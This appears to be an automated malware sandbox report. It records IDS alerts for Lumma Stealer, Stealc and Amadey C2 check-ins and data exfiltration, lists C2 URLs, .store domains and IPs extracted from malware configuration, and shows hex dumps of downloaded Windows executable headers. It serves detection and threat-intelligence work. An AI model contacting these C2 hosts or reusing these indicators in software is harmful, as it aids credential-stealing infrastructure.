Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:53272 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:49900 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50002 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50004 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50003 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50013 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50007 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50014 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50015 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50000 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50020 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50029 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50031 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50041 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50047 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:64706 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:56553 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:51591 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50083 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:51497 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50077 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50088 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50084 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50092 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50086 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50095 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50093 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50090 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50131 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49986 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49986 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49991 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49991 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49998 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50003 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50004 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50004 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50077 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50077 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50002 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50083 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50002 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50083 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50090 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50095 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50093 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50041 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 33

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:52:19 GMTContent-Type: application/octet-streamContent-Length: 2778624Last-Modified: Fri, 01 Nov 2024 04:00:31 GMTConnection: keep-aliveETag: "6724525f-2a6600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 66 79 65 73 72 79 79 00 20 2a 00 00 a0 00 00 00 06 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6e 74 75 69 6c 70 00 20 00 00 00 c0 2a 00 00 04 00 00 00 40 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 44 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:52:26 GMTContent-Type: application/octet-streamContent-Length: 1917440Last-Modified: Fri, 01 Nov 2024 04:44:30 GMTConnection: keep-aliveETag: "67245cae-1d4200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4c 00 00 04 00 00 83 94 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c e4 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c e4 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 79 77 7a 76 68 70 67 00 30 1a 00 00 c0 31 00 00 26 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 75 78 78 6c 66 7a 77 00 10 00 00 00 f0 4b 00 00 04 00 00 00 1c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4c 00 00 22 00 00 00 20 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:53:07 GMTContent-Type: application/octet-streamContent-Length: 3027456Last-Modified: Fri, 01 Nov 2024 04:44:09 GMTConnection: keep-aliveETag: "67245c99-2e3200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 40 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 31 00 00 04 00 00 1c 39 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 78 63 77 62 66 6c 79 00 80 2b 00 00 b0 05 00 00 78 2b 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6b 6d 78 78 64 69 61 00 10 00 00 00 30 31 00 00 04 00 00 00 0c 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 31 00 00 22 00 00 00 10 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:53:14 GMTContent-Type: application/octet-streamContent-Length: 2154496Last-Modified: Fri, 01 Nov 2024 04:44:22 GMTConnection: keep-aliveETag: "67245ca6-20e000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 90 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 73 00 00 04 00 00 f4 94 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 75 67 64 78 72 67 6b 00 30 1a 00 00 50 59 00 00 2e 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 67 7a 72 67 6e 75 73 00 10 00 00 00 80 73 00 00 06 00 00 00 b8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 73 00 00 22 00 00 00 be 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:53:19 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Fri, 01 Nov 2024 04:00:04 GMTConnection: keep-aliveETag: "67245244-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 3c 52 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 dc bc 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 